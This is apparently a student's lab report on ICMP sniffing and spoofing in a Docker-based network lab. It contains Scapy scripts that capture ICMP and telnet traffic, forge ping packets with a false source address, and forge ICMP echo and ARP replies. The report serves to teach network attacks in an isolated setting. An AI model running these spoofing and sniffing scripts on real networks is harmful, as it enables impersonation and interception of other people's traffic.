**ICMP ATTACKS**

We're using dockers to create containers, which are small systems for running tasks independently. This allows us to simulate real-world scenarios without needing many physical devices.

Setup & Testing:

dcbuild - fetch images.

dcup - build and start containers.

ifconfig - adjust interfaces to the needed one (usually 'br- ...').

Access the attacker container and launch the desired sniffing/spoofing attack.

Perform the required action that will be captured by the attack machine.

**Task 1.1: Sniffing Packets**

You need to submit a detailed lab report, with screenshots, to describe what you have done and what you have observed. You also need to provide explanation to the observations that are interesting or surprising. Please also list the important code snippets followed by explanation. Simply attaching code without any explanation will not receive credits. In addition, answer any questions if any.

|  |
| --- |
| **Code Snippet:**  #!/usr/bin/env python3  from scapy.all import \*  print ("detecting")  def print\_pkt(pkt):  pkt.show()  pkt = sniff(iface='br-3787cfca7df9', filter='icmp', prn=print\_pkt)  This is a basic capture. We are performing ICMP packet (filtered for ICMP via filter) captue on interface br-3787cfca7df9.  #!/usr/bin/env python3  from scapy.all import \*  def print\_pkt(pkt):  pkt.show()  pkt = sniff(iface='br-3787cfca7df9', filter='tcp and dst port 23 and src host 10.9.0.5', prn=print\_pkt)  #!/usr/bin/env python3  from scapy.all import \*  def print\_pkt(pkt):  pkt.show()    pkt = sniff(iface='br-3787cfca7df9', filter='net 128.230.0.0/16', prn=print\_pkt)  **Screenshot:**  ###[ Ethernet ]###  dst = 02:42:93:8c:7b:21  src = 02:42:0a:09:00:05  type = IPv4  ###[ IP ]###  version = 4  ihl = 5  tos = 0x0  len = 84  id = 15404  flags =  frag = 0  ttl = 64  proto = icmp  chksum = 0x2a66  src = 10.9.0.5  dst = 10.9.0.1  \options \  ###[ ICMP ]###  type = echo-reply  code = 0  chksum = 0x76af  id = 0x4  seq = 0x2  ###[ Raw ]###  load = '\x0cO\xc2e\x00\x00\x00\x00\xf9\xc2\x02\x00\x00\x00\x00\x00\x10\x11\x12\x13\  x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()\*+,-./01234567'    **Explanations and Observation:**  There were 3 parts to this task:   1. Capture only ICMP packets 2. Capture only TCP packets **and** with destination port 23 3. Capture packets from or goes to a particular subnet (we tested with 128.230.0.0/16)   In the first part, we are to sniff ICMP packets (intercept the packets while they are in transit). This is done when a host pings another host. To do this using scapy, we have to use the sniff() function. Sniff function needs the **network interface** (connects a computer to a computer network), also needs the **filter** icmp packets only and the final parameter is called the **processing packet** which will call a function in our code. The function will call pkt.show() which will give the content of that packet. The sniff will run continuously till it is interrupted or until when the host stops pinging.  In the second part, it is the same code but we change the filter so that only TCP packets and destination port 23 and the source host IP is a specific address (10.9.0.5). To capture this packet, a host with IP address of 10.9.0.5 should telnet into another host machine.:  >>> [10.9.0.5@user](mailto:10.9.0.5@user) $ telnet 10.9.0.6  In the final part of this task, we filter by a network subnet. So when a host with that network subnet pings or host with that subnet gets pinged, it will capture packets. |

**Task 1.2: Spoofing ICMP Packets**

You need to submit a detailed lab report, with screenshots, to describe what you have done and what you have observed. You also need to provide explanation to the observations that are interesting or surprising. Please also list the important code snippets followed by explanation. Simply attaching code without any explanation will not receive credits. In addition, answer any questions if any.

|  |
| --- |
| **Code Snippet:**  #!/usr/bin/env python3  from scapy.all import \*  a = IP()  a.src = '8.8.8.8'  a.dst = '10.9.0.6'  pkt = a/(ICMP())  **send(pkt)Screenshot**      **Explanations and Observation:**  The goal with this task is to spoof ICMP echo request packets, and send them to another VM on the same network. In a more practical words, ping a host, identify the VM on the same network and send “impersonate” a legitimate host on the network. Using scapy, we create an IP packet using IP() and using a the command IP()/ICMP() will combine both packets. As the IP source is from 8.8.8.8, the packet is spoofed as we send it from the seed-attacker host. As evident from the wireshark screenshot, attacker’s IP is not shown at all. Successful. |

**Task 1.3: Traceroute**

You need to submit a detailed lab report, with screenshots, to describe what you have done and what you have observed. You also need to provide explanation to the observations that are interesting or surprising. Please also list the important code snippets followed by explanation. Simply attaching code without any explanation will not receive credits. In addition, answer any questions if any.

|  |
| --- |
| **Code Snippet:**  #!/usr/bin/env python3  from scapy.all import \*    a = IP()  a.dst = '8.8.8.8'  b= ICMP()  cont = "t"  ttl = 1  while (cont == "t"):  a.ttl = ttl  ttl +=1  send(a/b)  hop = sr1(a/b)    print(f' last hop: {hop.src}')  if (hop.src=="8.8.8.8"):  break    print("Do you want to continue to the next hop: t/any other key")  cont= input("")    print("\n !!Done")  **Screenshot:**    **Explanations and Observation:**  In this code, we have an while loop which will continue until a key apart from “t” is entered (t means true). TTL is a time to live, part of IP packets, TTL is a number and each time it goes through a router, it decrements by 1 whenever a router forwards the packet until it reaches 0 and a router will discard it. Using this, we try to estimate the the distance, in terms of number of routers, between our VM and a selected destination (google DNS server). We use the sr1() function to send an IP packet combined with a ICMP packet. The sr1() function will receive a **response packet.** This packet has the last hop the packet traversed therefore it has the router Ip address. |

**Task 1.4: Sniffing and-then Spoofing**

You need to submit a detailed lab report, with screenshots, to describe what you have done and what you have observed. You also need to provide explanation to the observations that are interesting or surprising. Please also list the important code snippets followed by explanation. Simply attaching code without any explanation will not receive credits. In addition, answer any questions if any.

|  |
| --- |
| **Code Snippet:**  #!/usr/bin/env python3  from scapy.all import \*  def spoofer(pkt):  if ICMP in pkt and pkt[ICMP].type == 8:  print("--------\nSpoofing ping reply")  ipLoad = IP(src=pkt[IP].dst, dst=pkt[IP].src, ihl=pkt[IP].ihl)  icmpLoad = ICMP(type=0, id=pkt[ICMP].id, seq=pkt[ICMP].seq)  send(ipLoad/icmpLoad/pkt[Raw].load)  elif ARP in pkt and pkt[ARP].op == 1:  print("---------\nSpoofing arp reply")  send(ARP(op = 2, pdst = pkt[ARP].psrc, hwdst = pkt[ARP].hwsrc, psrc = pkt[ARP].pdst))  sniff(iface="br-3787cfca7df9", filter='icmp or arp', prn=spoofer)  **Screenshot:**    **Explanations and Observation:**          **Explanations and Observation:**  The function of this code is to snoop and spoof ICMP and ARP messages. It specifically picks up those two protocols as we have specified them in the filter: 'icmp or arp'. Each of the protocols expects a reply message back, which we use to our advantage to spoof. We must specifically target ICMP and ARP requests. In ARP, we can pick it up using the operation code (1, if request), and in ICMP, we can identify it using type (8, if request). We then send a spoofed packet by fitting in our desired details (switching destination with source). We also try to maintain the same payload or sequence to ensure the packet is not sent out of order. The source will usually receive two replies: one from the original source if active, and another from our spoofed address. In our test, we performed a ping operation, and we can see spoofed ICMP and ARP replies captured by Wireshark. |